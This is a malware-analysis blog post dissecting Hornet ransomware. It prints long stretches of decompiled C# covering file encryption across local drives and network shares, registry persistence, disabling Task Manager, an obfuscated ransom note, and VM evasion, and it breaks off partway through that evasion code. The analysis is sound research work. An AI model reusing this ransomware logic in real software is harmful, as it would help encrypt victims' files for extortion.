A brief analysis of Hornet Ransomware

RIXED LABS
24 min readDec 29, 2022

--

Hey readers, hope everyone is having a good time. Once again I decided to write blogs for the community on topics I stumble upon. I hope you will enjoy reading it, as much as I enjoyed writing it. Let us get started.

# Contents:

  • Preface
  • Basic File Analysis.
  • Using dnSpy for advanced Static Analysis.
  • Hashes.
  • MITRE ATT&CK TTP.
  • Connection with Neshta Crypter.
  • Contributors.

# Preface

Recently, I have been working to improve my skills in reverse engineering .NET binaries, following this motive I went ahead through some basic blogs which could give me some insights on how to get better, which are the tools required for the arsenal and other important perspectives. Somewhere after taking up a course at Pluralsight and practicing my skills, I found this tweet by S!Ri, who is a fellow malware research professional. After digging the internet, I found a bit about this ransomware, turns out Hornet Ransomware, was first supposed to be reported around late 2018, by Bleepingcomputer but unfortunately the blog post has been removed. Then by ZDNet & other AV vendors like Malwarebytes & Kaspersky.

Tweet

Going ahead, I copied the hash at Virustotal and figured out this is a PE 32-bit binary and a .NET executable. Therefore, this blog will contain my analysis and approach towards this sample of Hornet Ransomware. I personally am not really good at analyzing .NET binaries, so if you find something that does not really add up to a meaningful conclusion, please let me know, would be more than happy to improve my skills.

# Basic File Analysis

We will start the initial phase by downloading the sample from malware sample outlets which can give us access to this sample.

https://www.hybrid-analysis.com

After downloading the sample, the very first task would be to explore this malicious PE file’s internals. We can also use Malwoverview, in case someone does not have access to the Hybrid Analysis portal. Next, we will be using DIE(Detect It Easy) a tool to know uncover more aspects of the PE binary such as packing, entropy, section names and much more.

After loading the file into DIE, we confirmed that the file is a 32-bit GUI binary. It is also using the.NET(V4.0) library and has used Microsoft Linker for linking. Now coming to the objective of whether the file has been packed or not, the entropy seems to be just 6.57424 which does not conclude the file is packed, altho it may not be a proper indicator to reach the conclusion, so we will not reach to a conclusion of whether the file is a packed binary or not.

Now, let us give a look at the memory map tab of DIE, and check if there is an unusual section inside this PE 32 binary.

Seems, there are no custom section names, which can help us to reach the conclusion that a custom packer like UPX or ASPack has been used, so we can keep this in mind up to the point that this is not a packed file. Now we will look into the strings tab and figure out if there is anything interesting for us to figure out.

The string tab looks, quite interesting and gives some insight into some names like Zadilok, Biclavek, Musidar, and Osutipek. And some strings indicate this is ransomware. The entire list of strings has been dumped here. You can check them out.

Next, we will look into other metadata and blob, and we found one more interesting string I.e.:

17597a61746572696b20636f72706f726174
which yields to "Yzaterik Corporation"

now, next, we will move ahead to check out the resource & other imports of this binary.

As we can see there is a file which is probably an image, we will now go ahead dump this file, and check out if there is something which can give us more information about the file itself.

After dumping the file, it turns out to out be an image of a hornet. After uploading the file to VirusTotal here are the artifacts and we are more clear now, that is image is a part of this file and had been re-scanned in the past by other fellow analysts. Now, we are finally done with the initial file analysis using DIE, now let us two more tools known as PEBear & PEStudio which are my favorites along with DIE and are really excellent.

After, opening the file inside PE-Bear the artifacts collected by DIE are nearly the same, but in the resource section, we can find another image of Pope John Paul II, not sure what is the point of the presence of this image inside the resource section, so we would just leave it here.

Now, last but not least part of the file analysis would be checking with the PEStudio. The artifacts collected from the PE studio are mostly similar to the other two tools except using PE Tools gives us additional benefits of figuring out the malicious artifacts which will help us with the analysis and further attribution. Now, finally, we will move ahead to our next part which is analyzing the code using dnSpy.

# Using dnSpy for advanced Static Analysis.

Now, going ahead, we will open the sample inside dnSpy and figure out what actually the code is doing and try to make sense out of it.

After opening the ransomware executable inside dnSpy we can find out the values for the certain fields like the assembly version, copyright and many more. For now the values of the field are just not much of an use-case, we figure out at the end of the blog, if anything could be made out of those values.

After right clicking on the executable, we will be clicking to ‘Go to Entry Point” which will navigate us the entry point of the .NET assembly, this code can also be confirmed as the entry point with the [STAThread] attribute which indicates this is the entry-point of the application and will be executed in a single-threaded apartment. Although, this is not a concrete thread to determine as the indicator for entry point, so it is always suggested to verify before coming to an conclusion.

Now, next we have the Main method of the application, this 5 lines of code basically sets up the GUI does some text rendering and then using Application.Run to take Form1 as an argument which means this is the one which will now be run as application’s main form.Now, after clicking on Form1 we now end of this code :

The code is the constructor for the class Form1 inside the class, a random number from 5000 to 10000 is generated which makes the thread to sleep for that amount of milliseconds, then InitializeComponent() method initializes the form.

// Token: 0x06000023 RID: 35 RVA: 0x00004158 File Offset: 0x00002358
private void InitializeComponent()
{
base.FormClosing += this.Form1_FormClosing;
this.label1 = new Label();
base.SuspendLayout();
this.label1.Anchor = (AnchorStyles.Top | AnchorStyles.Bottom | AnchorStyles.Left | AnchorStyles.Right);
this.label1.BackColor = Color.Transparent;
this.label1.Font = new Font("Segoe UI Light", 20.25f, FontStyle.Regular, GraphicsUnit.Point, 204);
this.label1.ForeColor = SystemColors.ButtonFace;
this.label1.Image = Resources.win8_spinner;
this.label1.Location = new Point(417, 278);
this.label1.Name = "label1";
this.label1.Size = new Size(362, 106);
this.label1.TabIndex = 0;
this.label1.Text = "\"Multi-line \\r\\nlabel\"";
this.label1.TextAlign = ContentAlignment.MiddleCenter;
this.label1.UseWaitCursor = true;
base.AutoScaleDimensions = new SizeF(6f, 13f);
base.AutoScaleMode = AutoScaleMode.Font;
this.AutoSize = true;
base.ClientSize = new Size(1264, 681);
base.Controls.Add(this.label1);
base.FormBorderStyle = FormBorderStyle.None;
base.MaximizeBox = false;
base.MinimizeBox = false;
base.Name = "Form1";
base.ShowIcon = false;
base.ShowInTaskbar = false;
base.StartPosition = FormStartPosition.CenterScreen;
this.Text = "Form1";
base.TopMost = true;
base.UseWaitCursor = true;
base.WindowState = FormWindowState.Maximized;
base.Load += this.Form1_Load;
base.ResumeLayout(false);
}

Next, we go ahead and check the code for InitializeComponent() we can see that the method is to configure settings like FormBorderStyle , WindowState , set labels and much more. The main purpose of this method is to maintain the designs, the values and settings, so that when the user runs this file, the accurate form with proper border and decent UI is presented to the user.

Now, let us look into the Form1_Load method:

private void Form1_Load(object sender, EventArgs e)
{
string processName = Process.GetCurrentProcess().ProcessName;
int num = 0;
Process[] processes = Process.GetProcesses();
foreach (Process process in processes)
{
if (process.ProcessName.Contains(processName))
{
num++;
if (num > 1)
{
try
{
Environment.Exit(0);
base.Close();
Application.Exit();
}
catch
{
}
}
}
}
this.BackColor = ColorTranslator.FromHtml("#07466c");
this.updating();
Thread thread = new Thread(new ThreadStart(this.fornewthread));
thread.Start();
}

This method, performs some iteration I.e., it gets the name of the current process, then it gets an array of all process running at the system, and then continues the iteration, then it increments the counter for every process, if the counter num is greater than 1, it means there is more than one instance of the current process , and then using the try & catch statements inside the try block the code will close that instance of the process by calling Environment.Exit() & then base.Close is being called which will close the current process, and release all the resources and then finally exiting with Application.Exit() . Then it sets the back color to dark blue and next calls the updating method. Now let us look at this method to understand, what it is actually doing:

public void updating()
{
int timeinstall = 1;
this.label1.Text = string.Concat(new string[]
{
"Configuring critical Windows Updates",
Environment.NewLine,
Environment.NewLine,
Environment.NewLine,
Environment.NewLine,
Environment.NewLine,
Environment.NewLine,
Environment.NewLine,
timeinstall.ToString(),
"% complete",
Environment.NewLine,
"Do not turn off your computer."
});
System.Windows.Forms.Timer timer = new System.Windows.Forms.Timer
{
Interval = 100000
};
timer.Tick += delegate(object o, EventArgs args)
{
timeinstall++;
if (timeinstall < 100)
{
this.label1.Text = string.Concat(new string[]
{
"Configuring critical Windows Updates",
Environment.NewLine,
Environment.NewLine,
Environment.NewLine,
Environment.NewLine,
Environment.NewLine,
Environment.NewLine,
Environment.NewLine,
timeinstall.ToString(),
"% complete",
Environment.NewLine,
"Do not turn off your computer."
});
}
};
timer.Start();
}

This method is simply displaying the string “Configuring critical Windows Updates 1 % complete” and then the next line ‘Do not turn off your computer” now the Tick event is handled by a delegate which updates the text at label and the value replacing 1% with the 2%,3%...up to 100% and then the form is closed and we are back at the Form1_Load method.

Thread thread = new Thread(new ThreadStart(this.fornewthread));
thread.Start();

At last, a new thread is spawned which is for executing the fornewthread() method, this makes the fornewthread() method run along with the main program. Now, we will explore the fornewthread().

fornewthread()

Now, this fornewthread method creates a new thread then chooses a random number from 5000 and 20000 and for that certain time(milliseconds) makes the thread to sleep, after the sleep gets executed, the go method is being called. Now let us check out what actually this method does.

  // Token: 0x06000007 RID: 7 RVA: 0x00002674 File Offset: 0x00000874
public void go()
{
string[] source = new string[]
{
"ru",
"be",
"uk",
"kk",
"ky",
"hy",
"ka",
"tt",
"uz"
};
string getsysteminfo = this.getsysteminfo;
string value = Form1.TruncateLongString(getsysteminfo, 2);
if (source.Contains(value))
{
this.SelfDelete();
Environment.Exit(0);
base.Close();
Application.Exit();
}
string winName = Form1.GetWinName();
string processName = Process.GetCurrentProcess().ProcessName;
string s = string.Concat(new object[]
{
getsysteminfo,
"_",
this.finalransomwalue,
"_",
this.userName,
"_",
this.nowTime,
"_",
winName,
"_",
this.version,
"_",
processName
});
this.KillCtrlAltDelete();
this.Autorun();
this.publicKey = "<RSAKeyValue><Modulus>0LCtGbWJTzy7/92rXA/0jhFhy2mU2IHdR8Kn6AabBUJFkIByAkn3IqD05028vPpkdiNA7gueeQRQltCgn5Th07ek0edyDrZniRg/fh2Q+NLEVWXIe92BPSrNpnv4DEYqlzr3EHClJ/sJVZnqbsKvqvI0E8Hp7F/Cw7tHHhSgJTl/ho7uABY15h4cE9lHyMlvJKUuzz0S+dFlMzPjS82ef5J7Mz0ZtQWbIoIGK1725XkokAqcHmyyxslA2pQeqzpn5zOktY8M1VEHFKBvmFyWmNo8aiZ/FouJ7aqiY6GgDcRKgzaS1eKlHioVt1jqLCLnqtNeWmDTs/Z/lPlPs9HOzQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue>";
this.encryptedPassword = Form1.EncryptTextRSA(this.password, 2048, this.publicKey);
byte[] bytes = Encoding.UTF8.GetBytes(s);
this.finalcountry = Convert.ToBase64String(bytes);
this.encryptedPassword = this.encryptedPassword + "&" + this.finalcountry;
this.Keyback(this.finalransomwalue, this.password, this.finalcountry);
foreach (DriveInfo driveInfo in this.Drives)
{
try
{
this.lockdir(driveInfo.RootDirectory.ToString(), this.password, this.words);
}
catch (IOException)
{
}
}
this.Network(this.password, this.words);
this.Slite();
this.KillAutorun();
this.password = null;
this.DelBack();
this._closeoff = false;
base.Close();
this.SelfDelete();
Application.Exit();
}

This method first creates an array called source, then inserts language codes for ru-Russian, be-Belarusian, uk-Ukranian, kk-Kazakhistan, ky-Kyrgyz, hy-Armenian, ka-Gerogian, tt-Tatar, uz-Uzbek , then it goes ahead and returns the current culture name of the victim’s user system, so the entire method returns languagecode-RegionalSettings , then it truncates the regional settings value using the TruncateLongString method, and checks the array with .contains() method and if the victim system has these above culture code, it goes ahead and passes the control to SelfDelete() method.

The SelfDelete() method here, is actually deleting the executable file, at the very first it creates a file called update.bat , then it pings to the certain IP Address, and then waits for response, then goes ahead deleting the file, after these command are written to the update.bat file, it saves the file and starts running it , and then it is closed by Application.Exit() method.

Environment.Exit(0);
base.Close();
Application.Exit();
}

Now, after the ransomware executable is deleted it runs base.close() which closes the Form1 and releases the resources which were used, and then Application.Exit() which calls the Exit method of the Application class and releases all resources used by this application, basically closing the current application.

Now, the above code would execute only if the conditional would be true, coming back to the other block of code:

string winName = Form1.GetWinName();
string processName = Process.GetCurrentProcess().ProcessName;

Here, a variable called winName is initialized and a value which would return from the method GetWinName() would be stored inside, and other variable called processName which is initialized and the value returned from Process.GetCurrentProcess().ProcessName is stored inside the variable, now let us move ahead exploring the GetWinName method.


private static string GetWinName()
{
string name = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion";
string result;
using (RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(name))
{
if (registryKey != null)
{
try
{
string text = registryKey.GetValue("ProductName").ToString();
if (text == "")
{
return "null";
}
if (text.Contains("XP"))
{
return "XP";
}
if (text.Contains("7"))
{
return "Win 7";
}
if (text.Contains("2003"))
{
return "Serv 2003";
}
if (text.Contains("8"))
{
if (text.Contains("2008"))
{
return "Serv 2008";
}
return "Win 8";
}
else
{
if (text.Contains("10"))
{
return "Win 10";
}
if (text.Contains("11"))
{
return "Win 11";
}
if (text.Contains("2012"))
{
return "Serv 2012";
}
if (text.Contains("2016"))
{
return "Serv 2016";
}
if (text.Contains("2019"))
{
return "Serv 2019";
}
if (text.Contains("2022"))
{
return "Serv 2022";
}
if (text.Contains("Server"))
{
return "Serv";
}
return "Unknow";
}
}
catch (Exception ex)
{
return ex.Message;
}
}
result = "Null";
}
return result;
}

Now, looking into the GetWinMain(), in the very first line a variable name is declared, then going ahead it is assigned a string "SOFTWARE\Microsoft\Windows NT\CurrentVersion" . This string basically is the path of the key in the Windows Registry hive, which contains information about the current version of Windows installed on the target system.

This is done by use of using statement which opens the key using the Registry class’s LocalMachine property and OpenSubKey method. In simple terms, the LocalMachine attributes to the registry hive and the OpenSubKey attributes to the opening of subkey of a specified key, if the key is opened registryKey != null , it proceeds to the retrieve, the product name, if it fails to do so it returns “null” , if the key is opened it goes ahead and retrieves the Windows version I.e Windows 7,8,10,11, Windows Server 2003, 2008.... . and if the specified string is not there it returns Unknow , in case of the any issue during the process, it jumps to the exception and returns an exception message, and finally whatever the result of this entire method will be returned inside the variable result which either would be Windows versions of the error message.

string processName = Process.GetCurrentProcess().ProcessName;

Now, the next line the GetCurrentProcess() basically returns the current process and its name and the value returned is stored inside the processName variable.

Next, we see there is a string variable known as s being declared and , the using string.Concat method, the values of getsysteminfo , finalransomvalue , userName , nowTime , winName , version , and processName , the values returned from this are concatenated and stored inside the variable s with _ as a separator.

   this.KillCtrlAltDelete();
this.Autorun();

After, this above string concatenation, we have two more methods known as KillCtrlAltDelete() & Autorun being called, now let us analyze the decompiled code for the two.

public void KillCtrlAltDelete()
{
string value = "1";
string subkey = "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System";
try
{
RegistryKey registryKey = Registry.CurrentUser.CreateSubKey(subkey);
registryKey.SetValue("DisableTaskMgr", value);
registryKey.Close();
}
catch (Exception)
{
}
}

This method, is basically disabling Task Manager of the victim machine, it declares a variable known as value and initialize the value 1 to it, next it stores the location or path to a registry key Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System , then it creates a new subkey in that same path stored in the subkey variable, then it goes ahead and uses SetValue method and passes DisableTaskMgr and sets the value to 1. Then it closes the registry key.

public void Autorun()
{
string text = Path.GetTempPath() + "Adobe//";
try
{
if (!Directory.Exists(this.pathbackup))
{
DirectoryInfo directoryInfo = Directory.CreateDirectory(text);
directoryInfo.Attributes = (FileAttributes.Hidden | FileAttributes.Directory);
}
}
catch
{
}
string location = Assembly.GetExecutingAssembly().Location;
string fileName = Path.GetFileName(location);
try
{
File.Copy(location, Path.Combine(text, fileName), false);
}
catch
{
}
RegistryKey registryKey = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\");
string str = Path.GetTempPath() + "Adobe";
registryKey.SetValue(fileName, str + "\\" + fileName);
registryKey.Close();
}

This method basically is creating a folder or a directory called Adobe in the temporary folder with hidden attributes, then it goes ahead and copies the executable to the hidden directory, this is done by first creating a directory, then initializing variable location where the current malicious executable is stored, then initializes a variable filename which stores the current file name, then using File.Copy() it copies the executable to the directory Adobe created with hidden attribute .

Then it creates a SubKey Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\ and then sets the value to the executable with file name and finally closes the registry key. This resembles Logon Autostart Execution technique.

this.publicKey = "<RSAKeyValue><Modulus>0LCtGbWJTzy7/92rXA/0jhFhy2mU2IHdR8Kn6AabBUJFkIByAkn3IqD05028vPpkdiNA7gueeQRQltCgn5Th07ek0edyDrZniRg/fh2Q+NLEVWXIe92BPSrNpnv4DEYqlzr3EHClJ/sJVZnqbsKvqvI0E8Hp7F/Cw7tHHhSgJTl/ho7uABY15h4cE9lHyMlvJKUuzz0S+dFlMzPjS82ef5J7Mz0ZtQWbIoIGK1725XkokAqcHmyyxslA2pQeqzpn5zOktY8M1VEHFKBvmFyWmNo8aiZ/FouJ7aqiY6GgDcRKgzaS1eKlHioVt1jqLCLnqtNeWmDTs/Z/lPlPs9HOzQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue>";

After the Autorun method, a new variable publicKey is initialized and the value of publickey which will be used for RSA Encryption is stored inside the variable.

  this.encryptedPassword = Form1.EncryptTextRSA(this.password, 2048, this.publicKey);
byte[] bytes = Encoding.UTF8.GetBytes(s);
this.finalcountry = Convert.ToBase64String(bytes);
this.encryptedPassword = this.encryptedPassword + "&" + this.finalcountry;
this.Keyback(this.finalransomwalue, this.password, this.finalcountry);
private string password = "uUqnmsm=LI6dlu3eZai3XByPprTELcZg";

Then moving ahead to the next code, a variable encryptedPassword is being declared which stores the encrypted value returned from the method EncryptTextRSA which basically takes 3 arguments the first being text that is the value inside variable password , second the keysize and the last being the publickey .

The next line a variable of type byte[] known as bytes is storing the UTF-8 encoded byte array which is returned after the string s is passed to the method Encoding.UTF8.GetBytes .

Then in the next line, a variable finalcountry is being initialized which converts the byte array into base 64 encoded string using the Convert.ToBase64String() method.

Now, finally the same variable encryptedPassword is storing the concatenated value by adding the previous value of the variable, & , the value inside finalcountry variable.

After, that we see another method known as Keyback taking finalransomvalue , password , finalcountry as an argument, let us check out the Keyback method.


// Token: 0x06000018 RID: 24 RVA: 0x00003ADC File Offset: 0x00001CDC
public void Keyback(string finalransomwalue, string password, string finalcountry)
{
string text = "<RSAKeyValue><Modulus>vhmMf1lRw5KH1+HMYj39f15c0VNUo1NPJllMQRIH06yeUAH6m4ca1LdMAQLgZ75mqP3vRXWYgKdNsJgNQgmehOnBUK7XP4z2PdzbiOvYsBp0RYfs9Zjl72Z4FDRqg6kpN7PJpj4+o0MWuy9zvEQNUqUvpLjn+MaiDfLVCKN9yA3/q1AmSL0lNzRolYsykKDZS3H5xelknP6oqSxjHb5bzs7Vh8xcYDSRETCwjxBduSgdfq1JQ3mcEJORAQA5FabhhtBnk/OYRmyWD7TMs9kYAaMOB+z/SkSHsj+7f9oyx1I9JX64gV9EUAcN0JKTKj5OVvubTVnAHZ4lCkWx8OOSbw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue>";
string text2 = "<RSAKeyValue><Modulus>1lJJP6yjJ3DTj5kEjKbpaf2FUwwf64fL79zTeGjudy4lRO3FBYGG9upuE3kmIeSp8hImEfnS5zasBl1jZUdGU+2PzxpXxwVu2VZuIg4NLt6mi+YloKD2ktKoJig79dV45/Q/NJFXqn85HnyIfq9SMU73xOSAxLbjDf6AJP2qy9qbSABM5Ru2cDMFAk5zWxMzkL2cDJWcRDjGPJMGc/2vmSq1EqU1Hkh7H14BALVNZiU/RlrylonkG8F7bDrsf4khYIvy3Fjhd1RzXPWatYZ8QIG4hVR7+a1xB2xSw4PYdkWZzapG5TV9tdVsbOPqX2YnVNUC78up7BNJ2f6oGD98QQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue>";
string text3 = "<RSAKeyValue><Modulus>mIQGhVh6BsMy9VtgYx0PeSn4HsWtP7LoxukEidvPenuEMC2fGc6AZb+tZ62E6Z8YzZo8OKsT4EwGx0RJUoB9byzn/DvVktGIhWoeYIz0nzVBOMyrXKn5QiaPW4ZP+a4xQoA0GzVnRwe7+HjiYiWY357EX7PHujaU6mvLe/bVRIoY7QHKzUvmQZohY6qj/bMdJXF6YbDw9/gXXqEnCz4LQNG6/Z4SjNv6vc7YU1V4aT1Jdl2sIufpAocVZeNdqV0c/Qrh/TIVhod9okGod7DwFFYZ6NmknNYTpsZVBSISyZllNkjmwDA0OMI0p+LNFvBubWqe6Vj71kdER8h+T+x4Xw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue>";
Random random = new Random();
string[] array = new string[]
{
text,
text2,
text3
};
int num = random.Next(0, 2);
string text4 = Form1.EncryptTextRSA(password, 2048, array[num]);
text4 = string.Concat(new object[]
{
text4,
"&",
finalcountry,
"&",
num
});
File.WriteAllText(Path.GetTempPath() + finalransomwalue + "_dat.log", text4);
}

This method is performing writing some string to a file, at the very beginning, it initializes and declares three variables text , text2 , text3 which stores 3 public keys. then it declares an array of these three variables containing public keys, then it initializes and declares a variable num which chooses the index from 0..2 , next a new variable called text4 which uses same EncryptTextRSA, and takes three arguments the password , the key size and any random public keys from text, text2 , text3 and stores the return inside the text4 variable.

Next the value inside text4 is overwritten with concatenation of previous value, & , the value inside finalcountry and the random number stored inside num .

Then finally, a new file is created and the file path is to the temporary folder+finalransomwalue and at the end _dat.log, where the contents of the text4 will be stored.

foreach (DriveInfo driveInfo in this.Drives)
{
try
{
this.lockdir(driveInfo.RootDirectory.ToString(), this.password, this.words);
}
catch (IOException)
{
}
}
private DriveInfo[] Drives = DriveInfo.GetDrives();
public static DriveInfo[] GetDrives()
{
string[] logicalDrives = Directory.GetLogicalDrives();
DriveInfo[] array = new DriveInfo[logicalDrives.Length];
for (int i = 0; i < logicalDrives.Length; i++)
{
array[i] = new DriveInfo(logicalDrives[i]);
}
return array;
}
private string[] words = new string[]
{
".lnk"
};

After, the previous blocks of code, we can see there is another set of iteration which iterates over an array called Drives which uses GetDrives method to get all the logical drives of the system, and then goes ahead and uses for loop to iterate over all the drives and return the names of drives in the variable array .

Then going ahead, it uses try and catch to perform locking of all files using the method lockdir which takes three arguments the root directory, the password and the string array words which contains only one argument .lnk . Now, let us check out the lockdir method.

 public void lockdir(string location, string password, string[] words)
{
string[] files = Directory.GetFiles(location);
string[] directories = Directory.GetDirectories(location);
if (!location.Contains("WINDOWS") && !location.Contains("RECYCLER") && !location.Contains("Program Files") && !location.Contains("Program Files (x86)") && !location.Contains("Windows") && !location.Contains("Recycle.Bin") && !location.Contains("RECYCLE.BIN") && !location.Contains("Recycler") && !location.Contains("TEMP") && !location.Contains("APPDATA") && !location.Contains("AppData") && !location.Contains("Temp") && !location.Contains("ProgramData") && !location.Contains("Microsoft"))
{
if (location.Contains("Burn"))
{
return;
}
for (int i = 0; i < files.Length; i++)
{
try
{
string extension = Path.GetExtension(files[i]);
string text = null;
using (FileStream fileStream = File.Open(files[i], FileMode.Open, FileAccess.Read))
{
byte[] array = new byte[10];
fileStream.Position = fileStream.Length - (long)array.Length;
fileStream.Read(array, 0, array.Length);
text = Form1.enc8.GetString(array);
}
if (!words.Contains(extension))
{
if (files[i].Contains("README_"))
{
if (!(password == "reset"))
{
goto IL_444;
}
try
{
string text2 = File.ReadAllText(files[i]);
string[] separator = new string[]
{
",",
".",
"!",
"?",
";",
":",
" ",
"\r\n",
"\r",
"\n"
};
string[] array2 = text2.Split(separator, StringSplitOptions.RemoveEmptyEntries);
foreach (string text3 in array2)
{
int length = text3.Length;
if (length > 341)
{
this.zencryptedPassword = text3;
}
}
if (!this.zencryptedPassword.Contains("##"))
{
int num = files[i].IndexOf("README_");
string text4 = files[i].Substring(num + 7);
string str = text4.Replace(".txt", "");
this.zencryptedPasswordw = File.ReadAllText(Path.GetTempPath() + str + "_dat.log");
if (!string.IsNullOrEmpty(this.zencryptedPasswordw))
{
File.WriteAllText(files[i], string.Empty);
string text5 = "SGVsbG*hIEFsbCB%b#VyIGZpbGVzIGhhdmUgYmVlbiBlbmNyeXB-ZWQuLi_NCg-KWW(!ciBwZXJzb@%hbCBJZDoNCiR^ZW%jcnlwdGVkUGFzc#dvcmR#IyMkbnVtZmlsZQ-KDQpUbyBkZWNyeXB-IHlvdXIgZmlsZXMgeW(!IG%lZWQgdG*gaW%zdGFsbCB-b#IgYnJvd#NlciwgeW(!IGNhbiBkb#dubG(hZCBpdCBoZXJlOiBodHRwczovL#d#dy%-b#Jwcm(qZWN-Lm(yZy(kb#dubG(hZC(kb#dubG(hZC%odG!sLmVuIA-KQWZ-ZXIgaW%zdGFsbGF-aW(uLCBvcGVuIHRoZSB-b#IgYnJvd#NlciB-byB#ZWJzaXRlOiBodHRwOi*vdjd%ZHZlNG!rYW*@YzZ-bS%vbmlvbiBvciBodHRwOi*vbmhhcWRpa@hqNGFlaWdrZS%vbmlvbiBhbmQgZm(sbG(#IHRoZSBpbnN-cnVjdGlvbnMuDQoNCkRvIG%vdCB-cnkgcmVzdG(yZSBmaWxlcyB#aXRob#V-IG(!ciBoZWxwLCB-aGlzIGlzIHVzZWxlc#MsIGFuZCBjYW_gZGVzdHJveSB%b#UgZGF-YSBwZXJtYW%ldGx%Lg-KSG(#ZXZlciwgdGhlIGZpbGVzIGNhbiBiZSByZWNvdmVyZWQgZXZlbiBhZnRlciB-aGUgcmVtb#ZhbCBvZiBvdXIgcHJvZ#JhbSBhbmQgZXZlbiBhZnRlcg-KcmVpbnN-YWxsaW%nIHRoZSBvcGVyYXRpbmcgc#lzdGVtLg))";
string s = text5.Replace("!", "1").Replace("@", "2").Replace("#", "3").Replace("_", "4").Replace("%", "5").Replace("^", "6").Replace("&", "7").Replace("*", "8").Replace("(", "9").Replace(")", "=").Replace("-", "0");
byte[] bytes = Convert.FromBase64String(s);
string text6 = Encoding.UTF8.GetString(bytes);
text6 = text6.Replace("$zencryptedPasswordw", this.zencryptedPasswordw);
string s2 = this.numfile.ToString();
string newValue = Convert.ToBase64String(Encoding.UTF8.GetBytes(s2));
text6 = text6.Replace("$numfile", newValue);
File.WriteAllText(files[i], text6, Encoding.UTF8);
}
}
goto IL_444;
}
catch (Exception)
{
goto IL_444;
}
}
if (text.Contains("###"))
{
string value = text.Replace("###", "");
try
{
Convert.ToInt32(value);
goto IL_444;
}
catch (Exception)
{
if (!(password == "reset"))
{
this.LockFile(files[i], password);
}
goto IL_444;
}
}
if (!(password == "reset"))
{
this.LockFile(files[i], password);
}
}
IL_444:;
}
catch (UnauthorizedAccessException)
{
}
catch (Exception)
{
}
}
for (int k = 0; k < directories.Length; k++)
{
try
{
if (password == "reset")
{
this.lockdir(directories[k], "reset", words);
}
else
{
this.lockdir(directories[k], password, words);
this.WriteInfo(directories[k], password);
}
}
catch (UnauthorizedAccessException)
{
}
catch (Exception)
{
}
}
}
}

This method basically, takes three arguments location which basically takes the path of directory to lock, then it takes password as an argument which basically is the password to unlock the above directory from the path, and an array of words, the value of password here is uUqnmsm=LI6dlu3eZai3XByPprTELcZg and the array of words contain only one element that is .lnk , after getting all the files, it checks if the target directory which it is about to lock and encrypt contains certain folders and files such as WINDOWS, RECYCLER, Program Files, Program Files x86, APPDATA, ProgramData, Microsoft , if these contents are found it just returns, else it goes ahead to a loop which reads the extension of the files in the target files and checks if the extension is .lnk , if the file extension is not .lnk , then it goes ahead and reads the last 10 bytes of the file and and converts them to a string using Form1.enc8.GetString method.

Then, it goes ahead and checks whether the file name contains README_ , in the next loop it checks the password argument is “reset”. If the password argument is so, it parses the file splits the contents inside file and checks if any of the string in the array has a length more than 341 characters.

Then if the length of the string is more than 341 characters, it stores this content inside zencryptedPassword , Then it checks if the zencryptedPassword contains the string ## , in case it does not it reads the file whose name contains README_ and ends with _dat.log , the after reading it assigns the content of this file to zencrypterPasswordw .

Then going ahead it writes an instruction in form of message on how to save your files, decryption and link to download a browser, this is done by using WriteInfo method. The content is stored, inside the Resources.tt .

Now, getting back to the code, from where this method was called, the next lines of code contains calling a method known as Network. Let us analyze the method.

// Token: 0x0600000D RID: 13 RVA: 0x00002A1C File Offset: 0x00000C1C
private void Network(string password, string[] words)
{
try
{
NetworkBrowser networkBrowser = new NetworkBrowser();
foreach (object obj in networkBrowser.getNetworkComputers())
{
string text = (string)obj;
if (text != null && text.Trim().Length > 0)
{
ShareCollection shares = ShareCollection.GetShares(text);
if (shares != null)
{
foreach (object obj2 in shares)
{
Share share = (Share)obj2;
if (share.ShareType == ShareType.Disk)
{
string text2 = share.ToString();
if (text2.Contains('\\'))
{
if (password == "reset")
{
this.lockdir(text2, "reset", words);
}
else
{
this.lockdir(text2, password, words);
}
}
}
}
}
}
}
}
catch (Exception)
{
}
}

This method, is browsing network for shared resources, it takes two arguments the one is a password and other is words array. It iterates through list of computers and gets shares for each and every computer. After iterating through shares it locks them using the lockdir method, which was described just before this method.

After, the previous method, there is another method being called known as Slite() . Let us now analyze this method.

public void Slite()
{
string[] source = new string[]
{
"ar-SA",
"ar-AE",
"nl-BE",
"nl-NL",
"en-GB",
"en-US",
"en-CA",
"en-AU",
"en-NZ",
"fr-BE",
"fr-CH",
"fr-FR",
"fr-CA",
"fr-LU",
"de-AT",
"de-DE",
"de-CH",
"it-CH",
"it-IT",
"ko-KR",
"pt-PT",
"es-ES",
"sv-FI",
"sv-SE",
"bg-BG",
"ca-ES",
"cs-CZ",
"da-DK",
"el-GR",
"en-IE",
"et-EE",
"eu-ES",
"fi-FI",
"hu-HU",
"ja-JP",
"lt-LT",
"nn-NO",
"pl-PL",
"ro-RO",
"se-FI",
"se-NO",
"se-SE",
"sk-SK",
"sl-SI",
"sv-FI",
"sv-SE",
"tr-TR"
};
string getsysteminfo = this.getsysteminfo;
RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\services\\Disk\\Enum");
string text = (string)registryKey.GetValue("0");
registryKey.Close();
if (!text.Contains("VBOX") && !text.Contains("Virtual") && !text.Contains("VMware"))
{
if (Form1.Pro() == "good")
{
return;
}
if (source.Contains(getsysteminfo) && this.numfile > 5000)
{
foreach (DriveInfo driveInfo in this.Drives)
{
try
{
this.lockdir(driveInfo.RootDirectory.ToString(), "reset", this.words);
}
catch (IOException)
{
}
}
this.Network("reset", this.words);
}
}
}

This method, first creates an array called source which contains language code, then it retrieves key named “0” using the local machine’s registry. Next then, the method checks if the registry key contains the strings Virtual , VBOX , VMware , in case this strings are found it moves ahead to calling another method Pro .

private static string Pro()
{
Process[] processes = Process.GetProcesses();
Process[] array = processes;
int i = 0;
while (i < array.Length)
{
Process process = array[i];
if (process.ProcessName.Contains("VBox") || process.ProcessName.Contains("prl_") || process.ProcessName.Contains("srvc.exe"))
{
goto IL_5A;
}
if (process.ProcessName.Contains("vmtoolsd"))
{
goto Block_4;
}
IL_65:
